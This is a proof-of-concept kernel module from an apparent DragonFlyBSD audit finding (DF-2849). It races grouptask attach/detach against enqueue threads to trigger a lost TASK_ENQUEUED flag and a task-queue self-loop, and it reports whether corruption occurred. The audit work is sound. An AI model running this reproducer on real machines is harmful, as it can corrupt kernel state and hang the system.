DragonFlyBSD Kernel Audit
DF-2849 / gtq_race2.c
← back to finding ↓ download raw
/*
 * DF-2849 PoC variant B — high-contention hunter for the ta_flags
 * lost-update (mode 2): detacher's UNLOCKED "ta_flags &= ~TASK_NOENQUEUE"
 * (subr_gtaskqueue.c:747) vs racer's locked "ta_flags |= TASK_ENQUEUED"
 * (subr_gtaskqueue.c:219).  A lost TASK_ENQUEUED bit while the gtask is
 * linked in the STAILQ makes the next enqueue double-insert -> self-loop.
 *
 * 4 racer threads (cpus 1,3,4,5) x 8 grouptasks x 2M attach/detach cycles
 * on the detacher (cpu 2).  Detection: fn_count still growing after all
 * enqueuers stopped == STAILQ self-loop (worker re-runs task forever).
 */
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/lock.h>
#include <sys/gtaskqueue.h>
#include <sys/thread.h>
#include <sys/thread2.h>

#define NTASK	8
#define NRACER	4

static struct taskqgroup *rg;
static struct grouptask gts[NTASK];
static volatile int stop;
static volatile long enq_ok, enq_eagain, enq_null, fn_count;
static struct thread *racer_td[NRACER], *det_td;

static void
gt_fn(void *ctx)
{
	atomic_add_long(&fn_count, 1);
}

static void
racer(void *arg)
{
	int idx = (int)(intptr_t)arg;
	long spin = 0;

	while (!stop) {
		struct gtaskqueue *q = gts[idx].gt_taskqueue;

		if (q == NULL) {
			atomic_add_long(&enq_null, 1);
			continue;
		}
		if (grouptaskqueue_enqueue(q, &gts[idx].gt_task) == 0)
			atomic_add_long(&enq_ok, 1);
		else
			atomic_add_long(&enq_eagain, 1);
		/*
		 * Yield periodically: a pinned LWKT daemon-priority thread
		 * that never blocks starves userland/protocol threads on its
		 * CPU and wedges the box for reasons unrelated to the bug
		 * under test.
		 */
		if ((++spin & 0xff) == 0)
			lwkt_yield();
	}
	lwkt_exit();
}

static void
detacher(void *arg)
{
	int i, loops = 2000000;

	for (i = 0; i < loops && !stop; i++) {
		int t;

		for (t = 0; t < NTASK; t++) {
			taskqgroup_attach(rg, &gts[t], NULL, NULL, NULL, "gt");
			taskqgroup_detach(rg, &gts[t]);
		}
	}
	kprintf("gtq_race2: detacher finished %d cycles x %d tasks\n", i,
	    NTASK);
	stop = 1;
	lwkt_exit();
}

static int
gtq_race2_ev(module_t mod, int type, void *data)
{
	long c1, c2;
	int t, r;

	switch (type) {
	case MOD_LOAD:
		rg = taskqgroup_create("gtq_race2", 2, 1);
		if (rg == NULL)
			return (ENOMEM);
		for (t = 0; t < NTASK; t++) {
			GROUPTASK_INIT(&gts[t], 0, gt_fn, NULL);
			gts[t].gt_taskqueue = NULL;
		}
		for (t = 0; t < NTASK; t += 2)
			taskqgroup_attach(rg, &gts[t], NULL, NULL, NULL, "gt");

		for (r = 0; r < NRACER; r++) {
			lwkt_create(racer, (void *)(intptr_t)(r % NTASK),
			    &racer_td[r], NULL, TDF_NOSTART,
			    1 + (r % 4) + (r / 4) * 2, "gtr2%d", r);
			lwkt_setpri_initial(racer_td[r], TDPRI_KERN_DAEMON);
			lwkt_schedule(racer_td[r]);
		}
		lwkt_create(detacher, NULL, &det_td, NULL, TDF_NOSTART, 2,
		    "gtdet2");
		lwkt_setpri_initial(det_td, TDPRI_KERN_DAEMON);
		lwkt_schedule(det_td);
		kprintf("gtq_race2: %d racers + detacher running\n", NRACER);
		return (0);
	case MOD_UNLOAD:
		while (!stop)
			tsleep(gtq_race2_ev, 0, "gtr2wait", hz / 4);
		c1 = fn_count;
		tsleep(gtq_race2_ev, 0, "gtr2chk", 2 * hz);
		c2 = fn_count;
		kprintf("gtq_race2: enq_ok=%ld enq_eagain=%ld enq_null=%ld "
		    "fn_count=%ld -> %ld\n", enq_ok, enq_eagain, enq_null,
		    c1, c2);
		if (c2 > c1)
			kprintf("gtq_race2: CORRUPTION PROVEN (self-loop)\n");
		else
			kprintf("gtq_race2: no post-stop growth this run\n");
		return (0);
	default:
		break;
	}
	return (EOPNOTSUPP);
}
DEV_MODULE(gtq_race2, gtq_race2_ev, NULL);